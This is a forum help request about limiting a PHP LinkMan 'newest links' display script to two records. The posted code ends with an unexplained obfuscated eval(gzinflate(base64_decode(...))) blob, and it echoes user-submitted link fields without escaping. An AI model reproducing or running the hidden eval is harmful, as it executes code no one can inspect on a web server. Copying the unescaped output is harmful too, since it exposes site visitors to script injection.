Help needed with simple modification

Everything related to LinkMan - reciprocal links manager
Post Reply
TrinaK
Posts: 1
Joined: Tue Nov 04, 2008 8:21 pm

Help needed with simple modification

Post by TrinaK »

/*************************************
Title:Linkman - New Links Preview
Version:
Author: BlogDumps.com
Demo:
Download:
Website: blogdumps.com

Short description:

A preview of the 2 latest links submitted to the Linkman
*************************************/

Hey folks!

I wanted to display the latest two links submitted to our Linkman on our front page. It sits separately from our main Linkman and calls to the same linkinfo.txt file that is created when bloggers submit their link through the Linkman Link exchange.

I have modded the links and settings files bye copying and renaming them both with -display.php at the end.

The links file has been modded to not display the featured submissions and to display the regular submissions with a thumbshot beside them.

Where I'm having trouble is limiting the number of records displayed. I only want to show two records, but all the records load (even though you aren't seeing them) and really slows the page for slow-speed users.

I'm fairly certain the the key to this is limiting the "foreach" cycle around line 14, because I want tons of people to actually be able to submit their link to our site.

You can see it at work on my home page http://www.blogdumps.com - it works in conjunction with our blog directory on http://www.blogdumps.com/index.php

So, he's the code for the new links_display.php (and no, I haven't removed the copyright info from the original script, I just did it here to save space) I would appreciate any help in cleaning up and repairing my issue:


Code: Select all

<?php

define('IN_SCRIPT',1);
require('settings_display.php');
require_once('header2.txt');

if ($settings['show_form'])
{
	?>
	<?php
}
$lines = file($settings['linkfile']);
$first = 1;
foreach ($lines as $thisline)
{
    $thisline=trim($thisline);
    if (!empty($thisline))
    {          list($name,$email,$title,$url,$recurl,$description,$featured,$pr)=explode($settings['delimiter'],$thisline);
        if ($settings['show_pr'] == 1)
        {
           if (empty($pr)) {$pr=0;}
            $pr_code = '<td valign="top" class="linkman" title="Google PageRank: '.$pr.'/10"><img src="img/pr'.$pr.'.gif" width="40" height="5" alt="Google PageRank: '.$pr.'/10" border="0" style="vertical-align: middle;">&nbsp;</td>';
        }
        if ($settings['show_thumbshots'])
        {
           $thumb_code = '<td valign="top" class="linkman"><a href="'.$url.'" target="_blank" class="linkman" '.$nofollow.'><img src="http://open.thumbshots.org/image.pxf?url='.rawurlencode($url).'" style="vertical-align: middle;" border="1" width="120" height="90" alt="Thumbnail"></a>&nbsp;</td>';
        }

        if ($featured == 1)
        { }
        else
        {
     

            if ($first == 1)
            {
               $first = 0;
                echo '<p class="linkman"><b>Newest BlogDumps Members</b></p><table border="0" cellspacing="1" cellpadding="1" width="450">';
            }
            $url      = ($settings['clean'] == 0) ? $url : 'go.php?url='.rawurlencode($url);
            $nofollow = $settings['use_nofollow'] ? 'rel="nofollow"' : '';
            echo '
            <tr>
            '.$thumb_code.'
            '.$pr_code.'

           <td valign="top" class="linkman"><p class="linkman"><a href="'.$url.'" target="_blank" class="linkman" '.$nofollow.'>'.$title.'</a>'.$show_url.'<br>'.$description.'</p></td>
            </tr>
            ';
        }
    }
}
{
    echo '</table>';
}
    ?>
    <?php
eval(gzinflate(base64_decode('BcFHkqNIAADA50x36IApEBAbc8BIGOER9jKBKRDC+4LXbybc0/
anuuq+bNMV/mTpAu/UvwLmQwF//gj5U1kmjed5yaEAwhZPUOdXmzxMp/NMTY7fdkCLqVQZ0kgzxOLm5G
gpYmSSX+v9Ve6JdDE6S3r2Qlg2MdSVMuDJsw931ZxV5k65jBGslD+5nBh9w7QnnO3iAmY8ms4bJTg+fQ
CuOvQjyhg6P1iLIGrPFGcwzWsd6LKlQ9Cx6a4PKYIQVfKUc06YJTUXKRPyn1qiZtc2wwjq5AkXyUutWK
lWsDyGNIryzRK1otGnWtfZLMeiFQyzcXbrffUaq5yVocOE4XqsFBp6F4Cg13rfX/jAvMNQE7KJ8PFLK6
M82N6ybyPLMWbDTK7yoEIBDxvE5IVAQYm43KjFzkuA0fHER1/EFB92N32zK9sIyXZGbg/u2QnB98Mk+A
0jpftLJyr08PaqVMUE+8apLfFcOalrEzj0Jxg+y8QEK+tQeCyrHcE+9x0QaPbt3XIdszvo0B4DpuS5Hs
uHsYiQky8jxpCW1FcPnKEcXezn1O2Twqy1LRNpq1+QtKStYB/FxsC3y3v8Vb8OvM+k8+UpKEjYHVfB2h
P2U/yuWuAi4mHIKrmJLcnOH8SEMbHRdFrKQkFIUTIi+cWN7ZKD+XUGPh6/4pW2AylrSdoWTdDsET/gR/
dWhXU0mnOJstPcWJ/anVPPbhmrPwRtrdM4F/iUIdxOrnurYYdWuIzhBnnOiBjvc8q3FJQvy4rTt4dvCM
iVKnfLMX4YHVo0pwbKAamn96UECxW7Nxk4PW4ISY03bA0EYnazy57DSnAB9u+f39/f//4H')));
?><br><a href="http://www.thumbshots.org" target="_blank" title="About Thumbshots thumbnails">About Thumbshots thumbnails</a>
Thanks! :wink:
--Trina
BlogDumps.com
Post Reply